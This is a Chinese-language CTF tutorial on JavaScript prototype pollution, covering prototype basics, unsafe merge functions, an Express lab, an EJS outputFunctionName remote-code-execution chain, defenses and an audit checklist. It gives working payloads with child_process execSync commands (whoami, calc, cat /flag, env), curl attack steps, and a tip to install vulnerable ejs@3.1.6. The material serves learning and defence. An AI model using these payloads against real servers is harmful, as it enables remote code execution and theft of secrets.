JS 原型链污染漏洞 - 从0到1

学这部分内容的起因是某线下赛本地AI给出了 server.js 源码分析,但自己看不懂 payload 也不理解源码,导致试了很久才出flag.

这里简单学习一下。


第一部分:前置知识 - JS 原型链

1.1 什么是原型(Prototype)

在 JS 中,几乎所有对象都有一个隐藏属性 [[Prototype]](也叫 __proto__),它指向另一个对象。当你访问对象的一个属性时,如果对象自身没有这个属性,JS 引擎会沿着 __proto__ 向上查找——这就是原型链

1
2
3
4
5
6
7
8
9
// 创建一个普通对象
const obj = { name: "Alice" };

// obj 自身没有 toString 方法,但可以调用
console.log(obj.toString()); // "[object Object]" ← 从哪来的?

// 答案:从原型链上来的
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.hasOwnProperty('toString')); // true

查找路径:objobj.__proto__(即 Object.prototype)→ Object.prototype.__proto__(即 null,链终止)

1.2 原型链的终点

1
2
obj.__proto__                        // Object.prototype
obj.__proto__.__proto__ // null ← 原型链终点

1.3 构造函数与 prototype

每个函数都有一个 prototype 属性(注意:不是 __proto__),它是通过 new 创建的实例的 __proto__

1
2
3
4
5
6
7
8
9
10
11
12
function Person(name) {
this.name = name;
}
Person.prototype.sayHi = function() {
console.log("Hi, I'm " + this.name);
};

const p = new Person("Bob");

p.sayHi(); // "Hi, I'm Bob" ← 从原型继承来的
p.__proto__ === Person.prototype; // true
Person.prototype.__proto__ === Object.prototype; // true

1.4 __proto__ vs prototype 的区别

__proto__ prototype
存在于 所有对象 函数
含义 对象的原型(指向父对象) 构造函数的实例原型
关系 obj.__proto__ === Constructor.prototype

示例说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Dog(name){
this.name = name;
}

const dog = new Dog("dog");
console.log(dog.__proto__); //代表 dog 的原型对象,也就是 Dog.prototype
console.log(Dog.prototype); //代表 Dog 函数的原型对象,Dog.prototype 是 Dog 这个函数自带的一个对象属性,它的作用是:存放所有 new Dog() 实例共享的属性和方法。

// 默认 Dog.prototype 只有一个属性,指回构造函数 {constructor: Dog}
// 当给 Dog.prototype 添加属性时,所有 new Dog() 的实例都能访问到这个属性

Dog.prototype.wang = function() {
console.log("wang wang");
}
const dog2 = new Dog("dog2");
dog2.wang(); // wang wang

// 两者指向同一块内存,Dog.prototype === dog.__proto__ 为 true
console.log(Dog.prototype === dog.__proto__); // true

再次理解,js 里函数也是一个对象,也可以有属性,Dog.prototype 就代表了这个对象的属性,而 dog.__proto__ 就是这个实例的原型对象。
两者指向同一块内存,Dog.prototype === dog.__proto__true

1.5 一张图理解原型链

1
2
3
4
5
6
7
8
9
10
11
12
13
p (实例)
│ name: "Bob"

├──__proto__──→ Person.prototype
│ sayHi: function
│ constructor: Person
│ │
│ ├──__proto__──→ Object.prototype
│ toString: function
│ hasOwnProperty: function
│ constructor: Object
│ │
│ ├──__proto__──→ null (终点)

第二部分:什么是原型链污染

2.1 核心概念

原型链污染 = 攻击者修改了 Object.prototype(或某个构造函数的 prototype),使得所有从该原型继承的对象都继承了攻击者注入的属性。

1
2
3
4
5
6
7
8
9
10
11
// 正常情况
const admin = { role: "admin" };
const user = { role: "user" };
console.log(user.isAdmin); // undefined ← 正常
console.log(admin.__proto__); // Object: null prototype 找到了他爸 Object.prototype
console.log(Object.prototype);

// ⚠️ 污染攻击
Object.prototype.isAdmin = true; // 污染了原型链!
console.log(user.isAdmin); // true ← 被污染了!
console.log(admin.isAdmin); // true ← 连 admin 也被污染了!

所有继承自 Object.prototype 的对象都会受到影响——这就是危害所在。

2.2 为什么危险?

很多代码的逻辑判断依赖”属性不存在时返回 undefined“:

1
2
3
4
5
6
7
8
9
// 常见权限检查
if (user.isAdmin) {
// 执行管理员操作
}

// 常见配置检查
if (options.debug) {
// 输出敏感信息
}

如果攻击者污染了 Object.prototype.isAdmin = trueObject.prototype.debug = true,所有这些检查都会被绕过。


第三部分:污染是如何发生的

3.1 不安全的对象合并

这是最常见的漏洞场景。很多库会实现类似 merge / extend / deepCopy 的函数:

1
2
3
4
5
6
7
8
9
10
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]); // 递归合并
} else {
target[key] = source[key];
}
}
}

注释版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function merge(target, source) {
// 遍历 source 的所有可枚举属性(包括 __proto__)
for (let key in source) {
// 如果 source[key] 是对象(如 {isAdmin: true}),需要递归处理
if (typeof source[key] === 'object') {
// 如果 target 没有这个属性,先创建一个空对象
if (!target[key]) target[key] = {};
// 递归:把 source[key] 的内容合并到 target[key] 中
merge(target[key], source[key]);
} else {
// source[key] 不是对象(字符串、数字等),直接赋值
target[key] = source[key];
}
}
}

正常使用没问题:

1
2
3
4
5
6
7
8
9
10
11
const config = { database: { host: "localhost" } };
const userInput = { database: { port: 3306 } };
merge(config, userInput);
// config = { database: { host: "localhost", port: 3306 } }


// 第1轮:key = "db",source["db"] 是对象 → 递归

// 第2轮:key = "port",source["port"] = 3306 不是对象 → 直接赋值

// 结果:config = { db: { host: "localhost", port: 3306 } }

恶意输入触发污染:

1
2
3
4
5
6
const config = {};
const maliciousInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(config, maliciousInput);

// 现在 Object.prototype.isAdmin === true !
console.log({}.isAdmin); // true ← 所有新对象都被污染了

为什么污染攻击要用 JSON.parse
JSON.parse() 把 JSON 字符串转换成 JS 对象。

1
2
3
4
5
6
7
8
9
// ❌ 直接写对象字面量,__proto__ 不会被当作普通 key
const obj = { __proto__: { isAdmin: true } };
// JS 引擎把 __proto__ 当作原型设置语法,不是普通属性
// 结果:obj 的原型被设为 {isAdmin: true},但 for...in 遍历不到 "__proto__" 这个 key

// ✅ 用 JSON.parse,__proto__ 被当作普通字符串 key
const obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
// JSON 里 __proto__ 就是一个普通的 key
// for...in 能遍历到 "__proto__"

3.2 关键原理拆解

为什么 __proto__ 能被作为 key 遍历?

1
2
3
4
5
6
7
8
9
10
11
12
const obj = JSON.parse('{"__proto__":{"isAdmin":true}}');

// for...in 会遍历 __proto__ 这个 key
for (let key in obj) {
console.log(key); // 输出: "__proto__"
}

// 在 merge 中:
// key = "__proto__"
// target[key] → target["__proto__"] → target.__proto__ → Object.prototype
// 于是 merge(Object.prototype, {isAdmin: true})
// 结果:Object.prototype.isAdmin = true

核心原因: for...in 循环会遍历对象自身的 __proto__ 属性(作为普通 key),而 target["__proto__"] 访问的就是原型,导致递归时修改了 Object.prototype

3.3 不安全的 clone / extend

1
2
3
function clone(obj) {
return merge({}, obj); // 同样的问题
}

3.4 通过 constructor 污染

constructor 是每个对象原型上自带的属性,指回创建它的构造函数。

1
2
3
4
5
6
const obj = {};
console.log(obj.constructor); // [Function: Object] ← 指回 Object 函数
console.log(obj.constructor === Object); // true

const arr = [];
console.log(arr.constructor); // [Function: Array] ← 指回 Array 函数

所以 obj.constructor.prototype 就等于 Object.prototype
所以除了 __proto__,还可以通过 constructor.prototype 达到同样效果:

1
2
3
4
5
6
7
8
9
const maliciousInput = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');

// 在 merge 中:
// key = "constructor"
// target["constructor"] → 目标对象的 constructor(通常是 Object)
// 递归进入:
// key = "prototype"
// target["prototype"] → Object.prototype
// 结果:Object.prototype.isAdmin = true

第四部分:实战 Payload 构造

4.1 基本 Payload

1
{"__proto__":{"polluted":"yes"}}

4.2 通过 constructor 链

1
{"constructor":{"prototype":{"isAdmin":true}}}

4.3 针对特定类的污染

1
2
3
4
5
6
7
8
9
// 如果目标不是普通对象,而是某个类的实例
function User() {}
const u = new User();

// 污染 User.prototype 而非 Object.prototype
merge(u, JSON.parse('{"__proto__":{"role":"admin"}}'));
// u.__proto__ === User.prototype
// 所以 User.prototype.role = "admin"
// 所有 User 实例的 role 都变成了 "admin"

第五部分:经典漏洞函数模式

5.1 危险模式识别

以下模式都是可能存在原型链污染的:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 模式1:递归赋值
target[key] = source[key]; // key 可控时危险

// 模式2:递归对象操作
target[key][subKey] = value; // key 可控时危险

// 模式3:动态属性设置
obj[key] = value; // key 来自用户输入

// 模式4:for...in + 递归
for (let key in source) { // key 可能是 __proto__
merge(target[key], source[key]);
}

5.2 常见漏洞函数名

在代码审计中,关注以下函数/方法:

  • merge(), extend(), mixIn(), deepMerge()
  • clone(), deepCopy(), copy()
  • set(), setPath(), setValue()
  • defaults(), deepDefaults()
  • 任何递归处理对象的函数

5.3 历史漏洞库

库名 漏洞函数 CVE
lodash _.merge, _.defaultsDeep CVE-2020-8203
jQuery $.extend CVE-2019-11358
minimist parse() CVE-2020-7598
node-forge 多处 CVE-2020-7720
express-fileupload parse() CVE-2020-7699

第六部分:实战练习

6.1 本地复现 - 不安全的 merge

创建以下文件并运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 危险的 merge 函数
function merge(target, source){
for(let key in source){
if(source[key] instanceof Object){
if(!target[key]) target[key] = {};
merge(target[key], source[key]);
}
else{
target[key] = source[key];
}
}
}


// 正常使用
const config = {};
merge(config, JSON.parse('{"db":{"admin":"******"}}'));
console.log(config);

// 污染原型链
merge(config, JSON.parse('{"__proto__":{"admin":"123456"}}'));
console.log({}.admin); //123456,污染成功

6.2 练习:绕过权限检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// challenge.js
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}

const express = require('express');
const app = express();
app.use(express.json());

app.post('/update', (req, res) => {
const config = {};
merge(config, req.body);
res.json({ msg: "updated" });
});

app.get('/flag', (req, res) => {
// 权限检查:依赖属性不存在返回 undefined
const user = {};
if (user.role === 'admin') {
res.send("FLAG{prototype_pollution_is_dangerous}");
} else {
res.status(403).send("Forbidden");
}
});

app.listen(3000);

攻击步骤:

  1. 先发送污染请求:
1
2
3
curl -X POST http://localhost:3000/update \
-H "Content-Type: application/json" \
-d '{"__proto__":{"role":"admin"}}'
  1. 再访问 flag:
1
2
curl http://localhost:3000/flag
# 返回: FLAG{prototype_pollution_is_dangerous}

image-20260413233106018

6.3 练习:EJS RCE(原型链污染 → 代码执行)

原型链污染本身只是”属性注入”,但在特定环境下可以升级为 RCE。

第一步:EJS 是什么

EJS 是一个模板引擎,把模板字符串渲染成 HTML:

1
2
3
4
5
const ejs = require('ejs');

// 模板里 <%= name %> 会被替换成变量值
const html = ejs.render('Hello <%= name %>!', { name: "Bob" });
// 结果: "Hello Bob!"

第二步:EJS 内部怎么渲染的

EJS 不是简单的字符串替换,它会把模板编译成 JS 函数再执行:

1
2
3
4
5
6
7
8
9
// 模板: "Hello <%= name %>!"
// EJS 编译后等价于生成这样的函数:
function compiledFn(data) {
let output = "";
output += "Hello ";
output += data.name; // ← <%= name %> 变成了这行
output += "!";
return output;
}

关键:EJS 用字符串拼接出函数代码,然后 eval / new Function 执行它

第三步:optionoutputFunctionName

options 就是 传给 EJS 模板引擎的「配置对象」
你在使用 EJS 渲染模板时,会写类似这样的代码:

1
2
// 前端/后端传入用户数据 -> 变成渲染配置
ejs.render(template, userData, options);
  • 它是一个普通 JS 对象
  • 作用:告诉 EJS 怎么编译、怎么渲染模板
    比如
1
2
3
4
const options = {
cache: true,
filename: "index.ejs"
};

如果用户可控的数据被合并到了 options,攻击者就能通过原型链污染,往 options 里塞恶意属性

outputFunctionNameEJS 内部的一个编译配置项,也是 RCE 的核心漏洞点
outputFunctionName 是用来自定义 EJS 渲染时生成的函数名
EJS 在编译时,会从 options 对象读取 outputFunctionName,用来给输出变量命名:

1
2
3
4
5
6
7
8
9
10
// EJS 内部简化逻辑(真实源码的简化版)
var outputFunctionName = opts.outputFunctionName || '__append';

// 然后拼进编译出的函数代码里:
var compiledCode = 'var ' + outputFunctionName + " = '';";
// 如果 outputFunctionName 是 "__append",拼出来是:
// var __append = '';

// 然后用 new Function 执行这段代码
var fn = new Function(data, compiledCode);

正常情况下 outputFunctionNameundefined,EJS 用默认值 "__append",没问题。

第四步:原型链污染介入

opts 是一个普通对象,当你访问 opts.outputFunctionName 时:

1
2
const opts = {};
console.log(opts.outputFunctionName); // undefined ← 正常,自身没有这个属性

但如果污染了原型链:

1
2
3
Object.prototype.outputFunctionName = "恶意代码";
const opts = {};
console.log(opts.outputFunctionName); // "恶意代码" ← 从原型链继承了!

第五步:构造 RCE Payload

攻击者通过原型链污染设置 outputFunctionName

1
2
3
4
5
{
"__proto__": {
"outputFunctionName": "a;return process.mainModule.require('child_process').execSync('whoami');//"
}
}

EJS 编译时拼出的代码变成了:

1
var a;return process.mainModule.require('child_process').execSync('whoami');// = '';

拆解这段注入:

1
2
3
4
5
a;                                          ← 声明变量 a,结束语句
return process.mainModule ← 加载 Node.js 主模块
.require('child_process') ← 导入子进程模块
.execSync('whoami'); ← 执行系统命令
// ← 注释掉后面的内容,避免语法错误

原本 EJS 要拼的是 var __append = '';,现在变成了 var a;return ...;// = '';// 把后面的 = '' 注释掉了。

第六步:完整攻击流程

1
2
3
4
5
6
7
8
9
10
1. 攻击者发送 POST /update
Body: {"__proto__":{"outputFunctionName":"a;return process.mainModule.require('child_process').execSync('calc');//"}}

2. merge() 污染了 Object.prototype.outputFunctionName

3. 之后任何 EJS 渲染请求(如 GET /render)
→ ejs.render() 创建 opts = {}
→ opts.outputFunctionName 从原型链读到恶意值
→ 编译模板时把恶意代码拼进函数
new Function() 执行 → RCE

第七步:本地复现

需要安装 ejs:npm install ejs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// demo3.js
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}

const express = require('express');
const ejs = require('ejs');
const app = express();
app.use(express.json());

// 攻击入口:不安全的 merge
app.post('/update', (req, res) => {
const config = {};
merge(config, req.body);
res.json({ msg: "updated" });
});

// 触发 EJS 渲染
app.get('/render', (req, res) => {
const html = ejs.render('<h1>Hello <%= name %></h1>', { name: "World" });
res.send(html);
});

app.listen(3000, () => console.log("Server on port 3000"));

这里再加一个测试路由,用于看是否被污染了

1
2
3
4
5
6
7
8
// 调试:检查污染是否成功
app.get('/check', (req, res) => {
const test = {};
res.json({
polluted: test.outputFunctionName || "未污染",
ObjectPrototype: Object.prototype.outputFunctionName || "未污染"
});
});

比如

1
2
3
4
5
6
curl -X POST localhost:3000/update -H "Content-Type:application/json" `
> -d '{"__proto__":{"outputFunctionName":"a;return process.mainModule.require(''child_process'').execSync(''calc'');//"}}'
{"msg":"updated"}

curl localhost:3000/check
{"polluted":"a;return process.mainModule.require('child_process').execSync('calc');//","ObjectPrototype":"a;return process.mainModule.require('child_process').execSync('calc');//"}

攻击步骤:

1
2
3
4
5
6
# 步骤1:污染原型链
curl -X POST localhost:3000/update -H "Content-Type:application/json" `
-d '{"__proto__":{"outputFunctionName":"a;return process.mainModule.require(''child_process'').execSync(''calc'');//"}}'

# 步骤2:触发 EJS 渲染,RCE 执行
curl localhost:3000/render

原理再次解读:

1
2
3
4
5
6
7
merge
1轮:key = "__proto__"
config["__proto__"] → config.__proto__Object.prototype
递归进入 merge(Object.prototype, {outputFunctionName: "恶意代码"})

2轮:key = "outputFunctionName"
Object.prototype["outputFunctionName"] = "恶意代码" ← 污染了全局原型!

config 本身没有被添加任何属性,__proto__ 不是 config 自身的 key,而是访问到了 Object.prototype

污染是全局的,之后整个 Node.js 进程中任何 {} 对象访问 outputFunctionName 都会从原型链读到恶意值:

1
2
3
// EJS 内部执行 ejs.render() 时
const opts = {}; // 空对象
opts.outputFunctionName // undefined?不!从 Object.prototype 继承了 "恶意代码"

config 只是入口,真正被修改的是 Object.prototype,影响的是整个进程的所有对象。
接着渲染部分通过拼接可执行代码

process.mainModule Node.js 的全局对象,代表主模块
.require('child_process') 导入 Node.js 子进程模块
.execSync('calc') 同步执行系统命令 calc(Windows 计算器)

步骤2访问后,如果弹出计算器(Windows)或执行了命令,说明 RCE 成功。

如果未执行成功,原因是当前安装的 EJS 版本已修复了这个漏洞,新版 EJS 内部用了 hasOwnProperty 检查,不会读取从原型链继承的属性。

npm install ejs@3.1.6 来复现 (当前是 ejs@5.0.2

image-20260413233148672
成功弹出计算器

如果是面向 ctf 场景,想执行命令获得flag,可以参考下面的 payload

1
2
3
4
5
6
7
8
9
10
11
// 读取 flag 文件内容
a;return process.mainModule.require('fs').readFileSync('./flag').toString();//

// linux
a;return process.mainModule.require('child_process').execSync('cat /flag').toString();//

// windows
a;return process.mainModule.require('child_process').execSync('type flag.txt').toString();//

// 环境变量
a;return process.mainModule.require('child_process').execSync('env').toString();//

本机再次测试一下(windows)

image-20260413233156930

总结

1
2
3
4
5
6
7
8
9
原型链污染(属性注入)

污染 Object.prototype.outputFunctionName

EJS 编译模板时读到被污染的属性值

恶意代码被拼进编译生成的函数

new Function() 执行 → RCE

核心思路:找到目标代码中从对象读取、且会影响代码拼接/执行的属性名,通过原型链污染注入恶意值


以下的部分待学习。

第七部分:污染的利用链

7.1 污染 → 属性注入

最基本的利用,修改逻辑判断:

1
原型链污染 → Object.prototype.xxx = value → 绕过 if 检查

7.2 污染 → 模板引擎 RCE

模板引擎 污染属性 效果
EJS outputFunctionName 代码执行
Pug self/allowInline 代码执行
Nunjucks autoescape XSS / 代码执行

7.3 污染 → SQL 注入

1
2
3
4
5
6
7
// 如果 ORM 的查询参数从对象继承
const query = {};
Model.find(query); // query.where 默认 undefined

// 污染后
Object.prototype.where = "1=1; DROP TABLE users--";
Model.find({}); // 生成了恶意 SQL

7.4 污染 → Node.js 子进程

1
2
3
4
5
// 污染环境变量
Object.prototype.env = {
NODE_OPTIONS: "--require /proc/self/environ",
EVIL: "require('child_process').execSync('id')"
};

第八部分:防御方法

8.1 过滤 __proto__constructor

1
2
3
4
5
6
7
8
9
10
11
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor') continue; // 防御!
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}

8.2 使用 Object.create(null)

Object.create(null) 创建的对象没有原型__proto__ 不可访问:

1
2
const safeTarget = Object.create(null);
merge(safeTarget, userInput); // safeTarget.__proto__ 是 undefined,无法向上污染

8.3 使用 Object.defineProperty 冻结原型

1
2
Object.freeze(Object.prototype);  // 禁止修改 Object.prototype
// 任何对 Object.prototype 的赋值都会静默失败(严格模式下抛错)

8.4 使用 Map 代替普通对象

1
2
3
4
// Map 的 key 可以是任意值,不会与原型链交互
const config = new Map();
config.set("db_host", "localhost");
// config.get("isAdmin") → undefined,不受原型链影响

8.5 使用安全库

  • 使用已修复的 lodash(≥4.17.20)
  • 使用 lodash.defaultsDeep 的安全替代
  • 使用 hoekmerge(已修复版本)

第九部分:代码审计 Checklist

审计 JS 项目时,按以下步骤检查:

  1. 搜索危险函数merge, extend, clone, deepCopy, setPath
  2. 检查输入来源:这些函数的 source 参数是否来自用户输入?
  3. 检查是否有 __proto__ / constructor 过滤
  4. 检查是否使用了 Object.create(null)
  5. 检查依赖版本:是否有已知漏洞的 lodash / jQuery 等
  6. 检查模板引擎:是否使用了 EJS / Pug / Nunjucks(可升级为 RCE)
  7. **检查 Object.freeze(Object.prototype)**:是否冻结了原型

第十部分:CTF 常见题型总结

10.1 直接污染绕过

题目中有 if (obj.xxx) 之类的检查,直接污染 Object.prototype.xxx 即可。

10.2 污染 + 模板引擎 RCE

污染特定属性(如 EJS 的 outputFunctionName),让模板引擎执行代码。

10.3 污染 + 子进程执行

污染 NODE_OPTIONS 等环境变量,导致 Node.js 启动子进程时加载恶意代码。

10.4 污染 + 路径遍历

1
{"__proto__":{"root":"/"}}

某些库会读取 options.root 作为文件根目录,污染后可遍历任意文件。

10.5 污染 + 反序列化

node-serialize 等库的反序列化函数如果内部使用了不安全的 merge,也可以触发污染。


参考资料